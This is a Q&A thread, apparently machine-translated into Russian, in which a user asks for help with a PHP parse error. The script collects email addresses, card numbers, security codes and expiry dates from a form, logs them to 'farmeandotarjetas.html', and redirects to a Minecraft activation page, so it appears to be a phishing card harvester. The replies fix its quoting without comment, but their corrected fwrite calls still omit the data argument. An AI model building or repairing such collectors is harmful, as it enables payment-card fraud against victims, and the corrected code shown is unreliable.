Это мой код:
<?php
$email = $_POST['email'];
$credit = $_POST['credit'];
$security = $_POST['security'];
$expiration = $_POST['expiration'];
$fm = "farmeandotarjetas.html";
$fh = fopen($fm,"a");
$fmstring = "Email: '.$email.'</font></b>] Credit Card: [<b><font color="#FF1493">'.$credit.'</font></b>] Security Code: [<b><font color="#FF1493">'.$security.'</font></b>]Expiration code: [<b><font color="#FF1493">'.$expiration.'<br>";
fwrite($fm);
fclose($fm);
echo "<meta http-equiv='refresh' content='1;url=http://minecraftactivation.com/'>";
</?
Моя проблема:
Parse error: syntax error, unexpected T_STRING in /home/u431949153/public_html/post.php
в строке 10. строка 10 — fwrite ($ fm);
у вас ошибка в 9-й строке.
ваша строка должна быть примерно такой:
$fmstring = 'Email: '.$email.'</font></b>] Credit Card: [<b><font color="#FF1493">'.$credit.'</font></b>] Security Code: [<b><font color="#FF1493">'.$security.'</font></b>]Expiration code: [<b><font color="#FF1493">'.$expiration.'<br>';
Сначала у вас есть несколько ошибок в $ fmstring, а затем вы должны дать ему ресурс, а не строку, поэтому измените $ fm на $ fh и $ fmstring следующим образом
$email = $_POST['email'];
$credit = $_POST['credit'];
$security = $_POST['security'];
$expiration = $_POST['expiration'];
$fm = "farmeandotarjetas.html";
$fh = fopen($fm,"a");
$fmstring = 'Email: '.$email.'</font></b>] Credit Card: [<b><fontcolor="#FF1493">'.$credit.'</font></b>] Security Code: [<b><font color="#FF1493">'.$security.'</font></b>]Expiration code: [<b><font color="#FF1493">'.$expiration.'<br>';
fwrite($fh);
fclose($fh);
Если вы используете двойные кавычки для значений эха, попробуйте этот стиль
echo "Email: {$email}, Credit Card: {$credit_card}";
вышеуказанный метод такой же, как этот стиль
echo "Email: ".$email.", Credit Card: ".$credit_card;
а также
echo 'Email: '.$email.', Credit Card: '.$credit_card;
Есть много вариантов, чтобы сделать код читабельным для себя
для вашей проблемы попробуйте изменить этот код на ваш
$fmstring = "Email: {$email}</font></b>]
Credit Card: [<b><font color=\"#FF1493\">{$credit}</font></b>]
Security Code: [<b><font color=\"#FF1493\">{$security}</font></b>]
Expiration code: [<b><font color=\"#FF1493\">{$expiration}<br>";
ты видишь это? если вы используете двойные кавычки для эхостатирования и строка имеет одну или несколько двойных кавычек, вы должны ставить обратную косую черту перед каждой двойной кавычкой в строке.
и не забудьте поменять тег php рядом с ?>
не </?